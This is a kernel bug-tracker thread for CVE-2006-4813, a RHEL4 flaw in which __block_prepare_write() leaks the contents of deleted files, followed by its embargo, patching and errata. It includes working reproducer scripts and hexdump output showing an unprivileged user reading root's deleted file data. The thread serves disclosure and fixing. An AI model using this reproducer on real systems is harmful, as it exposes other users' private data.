Bug 207463

Summary: CVE-2006-4813 Information leak in __block_prepare_write()
Product: Red Hat Enterprise Linux 4 Reporter: Vasily Averin <vvs>
Component: kernelAssignee: Eric Sandeen <esandeen>
Status: CLOSED ERRATA QA Contact: Brian Brock <bbrock>
Severity: high Docs Contact:
Priority: medium    
Version: 4.4CC: dev, dmonakhov, jbaron, khorenko, security-response-team
Target Milestone: ---Keywords: Security
Target Release: ---   
Hardware: All   
OS: Linux   
Whiteboard: impact=important,source=bugzilla,reported=20060921,embargo=semi,public=20061011
Fixed In Version: RHSA-2007-0014 Doc Type: Bug Fix
Doc Text:
Story Points: ---
Clone Of: Environment:
Last Closed: 2007-01-30 14:27:49 UTC Type: ---
Regression: --- Mount Type: ---
Documentation: --- CRM:
Verified Versions: Category: ---
oVirt Team: --- RHEL 7.3 requirements from Atomic Host:
Cloudforms Team: --- Target Upstream Version:
Embargoed:
Attachments:
Description Flags
reproducer testcase
none
reproducer preapre script
none
reproducer testcase script
none
patch against your lastest public kernel none

Description Vasily Averin 2006-09-21 08:52:00 UTC
Dmitriy Monakhov from SWsoft Virtuozzo/OpenVZ Linux Team has noticed an
information leak in __block_prepare_write() affected RHEL4 kernels:
__block_prepare_write() does not clear properly the data buffers during error
recovery and therefore content of previously unliked files is accessible.

It is known issue and it is fixed in mainstream by following patch:
http://www.kernel.org/git/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commit;h=152becd26e0563aefdbc4fd1fe491928efe92d1f

Comment 1 Vasily Averin 2006-09-21 08:53:37 UTC
#uname -r
2.6.9-42.0.2.EL

to reproduce:

gcc -Wall ./open_write.c -o /tmp/open_write
sh ./prep.sh
sh ./info_leack_test.sh

test result:
#sh  /tmp/info_leack_test.sh
stat: cannot stat `/mnt/file': No such file or directory
00000000  53 53 53 53 53 53 53 53  53 53 53 53 53 53 53 53  |SSSSSSSSSSSSSSSS|
*
########## content from unlinked file visible.      ^^^^^^^^^^^^^^^^^^^^^^^^^^^
########## must be zeros here 
00000800  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
*
00001000  6e                                                |n|
00001001

Comment 2 Vasily Averin 2006-09-21 08:58:07 UTC
Created attachment 136834 [details]
reproducer testcase

Comment 3 Vasily Averin 2006-09-21 08:59:00 UTC
Created attachment 136835 [details]
reproducer preapre script

Comment 4 Vasily Averin 2006-09-21 08:59:38 UTC
Created attachment 136836 [details]
reproducer testcase script

Comment 5 Marcel Holtmann 2006-09-21 14:06:43 UTC
an you elaborate a little bit more on this issue. The reproduce needs root
rights to fully work and a root-only information leak is not a security issue.


Comment 6 Vasily Averin 2006-09-21 17:20:25 UTC
root permission in this reproducer needs for filesystem preparing only.
then root (or any another user) may write some files, then delete it.
Then any another user have a chance to get content of _any_  previously deleted
files.

Comment 7 Vasily Averin 2006-09-22 08:08:12 UTC
please show:

-bash-3.00# cd /tmp
-bash-3.00# ls prepvvs.sh -al
-rw-r--r--  1 root root 653 Sep 22 11:46 prepvvs.sh

-bash-3.00# cat prepvvs.sh
#############
DEV=/tmp/FS_test
MNT=/tmp/mnt
mkdir $MNT

#preparing a filesystem; it should have 1k or 2k blocksize
dd if=/dev/zero of=$DEV bs=1M count=128

mkfs.ext2 -b1024 -m0 -q  -F $DEV
mount $DEV $MNT -oloop

#make filesystem pubic accessible
chmod 777 $MNT

# create private root directory
mkdir $MNT/root
chmod 700 $MNT/root

# write to file top secret data
for(( i = 0; i< 96; i++ ))
        do
                echo "top secret root  file content  " >> $MNT/root/ROOT_FILE
        done
#fill up the filesystem
dd if=/dev/zero of=$MNT/root/BIG bs=1k
sync

#unlink root's file
unlink  $MNT/root/ROOT_FILE
sync
# now filesystem has 3 free data blocks with content of unlinked ROOT_FILE

-bash-3.00# sh ./prepvvs.sh
128+0 records in
128+0 records out
dd: writing `/tmp/mnt/root/BIG': No space left on device
124887+0 records in
124886+0 records out


-bash-3.00# su testuser

[testuser@dmon tmp]$ ls -al ./userscript.sh
-rw-r--r--  1 testuser testuser 218 Sep 22 11:40 ./userscript.sh

[testuser@dmon tmp]$ cat userscript.sh
## create sparse file
dd if=/dev/zero of=/tmp/mnt/userfile seek=4096 count=1 bs=1
## and fill it
dd if=/dev/zero of=/tmp/mnt/userfile bs=4k count=1 conv=notrunc
## now look what we get
hexdump  -C /tmp/mnt/userfile

[testuser@dmon tmp]$ sh ./userscript.sh
1+0 records in
1+0 records out
dd: writing `/tmp/mnt/userfile': No space left on device
1+0 records in
0+0 records out
00000000  74 6f 70 20 73 65 63 72  65 74 20 72 6f 6f 74 20  |top secret root |
00000010  20 66 69 6c 65 20 63 6f  6e 74 65 6e 74 20 20 0a  | file content  .|
00000020  74 6f 70 20 73 65 63 72  65 74 20 72 6f 6f 74 20  |top secret root |
00000030  20 66 69 6c 65 20 63 6f  6e 74 65 6e 74 20 20 0a  | file content  .|
00000040  74 6f 70 20 73 65 63 72  65 74 20 72 6f 6f 74 20  |top secret root |
00000050  20 66 69 6c 65 20 63 6f  6e 74 65 6e 74 20 20 0a  | file content  .|
...
000007a0  74 6f 70 20 73 65 63 72  65 74 20 72 6f 6f 74 20  |top secret root |
000007b0  20 66 69 6c 65 20 63 6f  6e 74 65 6e 74 20 20 0a  | file content  .|
000007c0  74 6f 70 20 73 65 63 72  65 74 20 72 6f 6f 74 20  |top secret root |
000007d0  20 66 69 6c 65 20 63 6f  6e 74 65 6e 74 20 20 0a  | file content  .|
000007e0  74 6f 70 20 73 65 63 72  65 74 20 72 6f 6f 74 20  |top secret root |
000007f0  20 66 69 6c 65 20 63 6f  6e 74 65 6e 74 20 20 0a  | file content  .|
00000800  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
*
00001000  00                                                |.|
00001001

Comment 10 Marcel Holtmann 2006-09-22 09:53:59 UTC
The patch is public since June, 23th 2005, but the security implication is not
wide spreaded. Do you mind keeping this embargoed for 1-2 weeks and me sending
this information (including reproducer) to vendor-sec?

Comment 11 Vasily Averin 2006-09-22 10:29:01 UTC
I'm agree,
I would like to add that information may leaks even when user is limited by disk
quota.


Comment 12 Eric Sandeen 2006-10-02 19:44:53 UTC
Backported patch sent to rhkernel-list on 10/2/06

Comment 13 Vasily Averin 2006-10-03 06:46:40 UTC
Eric,
can I take a look at this patch somehow please?
Is it possible to get subscribed to rhkernel-list@? We (Virtuozzo/OpenVZ team)
report bugs to RHEL kernels and could provide much better level of cooperation
and feedback (including patches) having an access to this mailing list. Whom can
I ask for it?



Comment 14 Marcel Holtmann 2006-10-03 07:24:42 UTC
Vasily, if they are security related, I prefer you post the information to
vendor-sec. This allows all distributions to comment on it and I can pick
them up from there.

I spoke with Kir Kolyshkin at IBLOC about it and once I am back, I am going to
write something up. I first have to check what is possible and what not.


Comment 15 Jason Baron 2006-10-16 15:52:19 UTC
committed in stream U5 build 42.19. A test kernel with this patch is available
from http://people.redhat.com/~jbaron/rhel4/


Comment 16 RHEL Program Management 2006-10-20 17:48:48 UTC
This request was evaluated by Red Hat Product Management for inclusion in a Red
Hat Enterprise Linux maintenance release.  Product Management has requested
further review of this request by Red Hat Engineering, for potential
inclusion in a Red Hat Enterprise Linux Update release for currently deployed
products.  This request is not yet committed for inclusion in an Update
release.

Comment 17 Jay Turner 2006-11-21 12:45:25 UTC
QE ack for 4.5.

Comment 18 Jason Baron 2006-12-18 21:39:44 UTC
committed in stream E5 build 42.0.4

Comment 20 Mike Gahagan 2007-01-17 16:22:16 UTC
sucessfully tested with the second rendition of the test case (the first didn't
seem to work). no deleted files were visable with the 42.0.6 kernel.


Comment 22 Red Hat Bugzilla 2007-01-30 14:27:49 UTC
An advisory has been issued which should help the problem
described in this bug report. This report is therefore being
closed with a resolution of ERRATA. For more information
on the solution and/or where to find the updated files,
please follow the link below. You may reopen this bug report
if the solution does not work for you.

http://rhn.redhat.com/errata/RHSA-2007-0014.html


Comment 23 Monakhov Dmitriy 2007-02-05 12:26:50 UTC
patch you applied is _incorrect_.
Actually __block_prepare_write err path was broken in two places:

A)clear_buffer_new() was called too early and result in information leak. [you
have fixed it.]

B)after get_block has failed original code  jump to "out" label and return
without waiting for issued read requests to complete, and may later unlock page. 
We must just do "break" here, and wait until IO-layer reading complete.
Otherwise later access to page cause unpredictable result, because IO-layer may
modify this page at this moment.
So this place have to looks like this:
=-=-=-=-=-=-=
--- linux-2.6.9/fs/buffer.c.orig
+++ linux-2.6.9/fs/buffer.c
@@ -2029,9 +2029,8 @@ static int __block_prepare_write(struct 
 		if (!buffer_mapped(bh)) {
 			err = get_block(inode, block, bh, 1);
 			if (err)
-				goto out;
+				break;
 			if (buffer_new(bh)) {
-				clear_buffer_new(bh);
 				unmap_underlying_metadata(bh->b_bdev,
 							bh->b_blocknr);
 				if (PageUptodate(page)) {
=-=-=-=-=-=
I haven't sufficient right access, so than let's someone else REOPEN it.

Comment 24 Monakhov Dmitriy 2007-02-05 13:33:15 UTC
Created attachment 147354 [details]
patch against your lastest public kernel 

This patch fix broken error handling path as it was done in original mainstream
patch. Waiting for issued read requests to complete.

Comment 25 Eric Sandeen 2007-02-05 14:29:34 UTC
Thanks, I'll look at this today.

Comment 26 Eric Sandeen 2007-02-05 15:32:29 UTC
Ok, so it looks like we're missing
http://www2.kernel.org/git/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commitdiff;h=f3ddbdc6267c32223035ea9bb8456a2d86f65ba1


Fix a race where __block_prepare_write can leak out an in-flight read
against a bh if get_block returns an error.  This can lead to the page
becoming unlocked while the buffer is locked and the read still in flight.
__mpage_writepage BUGs on this condition.

BUG sighted on a 2-way Itanium2 system with 16K PAGE_SIZE running

	fsstress -v -d $DIR/tmp -n 1000 -p 1000 -l 2

where $DIR is a new ext2 filesystem with 4K blocks that is quite
small (causing get_block to fail often with -ENOSPC).

Signed-off-by: Nick Piggin <nickpiggin.au>



Comment 27 Marcel Holtmann 2007-02-05 16:02:58 UTC
This is a regression with an issue solved through an errata. If the fix in the
errata was incomplete, we need to open a new bug for it. Don't re-open this one.


Comment 28 Eric Sandeen 2007-02-05 16:42:38 UTC
Dmitriy,

It's my understanding that by putting the patch in as we did, we DID fix one
problem case, but still did not fix a 2nd case.  I don't think that we have made
anything -worse- (i.e. the errata patch did not cause a regression) and the case
we missed has been in the RHEL4 kernel since it was released.  I think that this
2nd problem does have some security implications, although it is not as severe
as the problem which was addressed with the first patch.  Do you agree with this
assessment?

Thanks,
-Eric

Comment 29 Monakhov Dmitriy 2007-02-05 16:49:02 UTC
yes.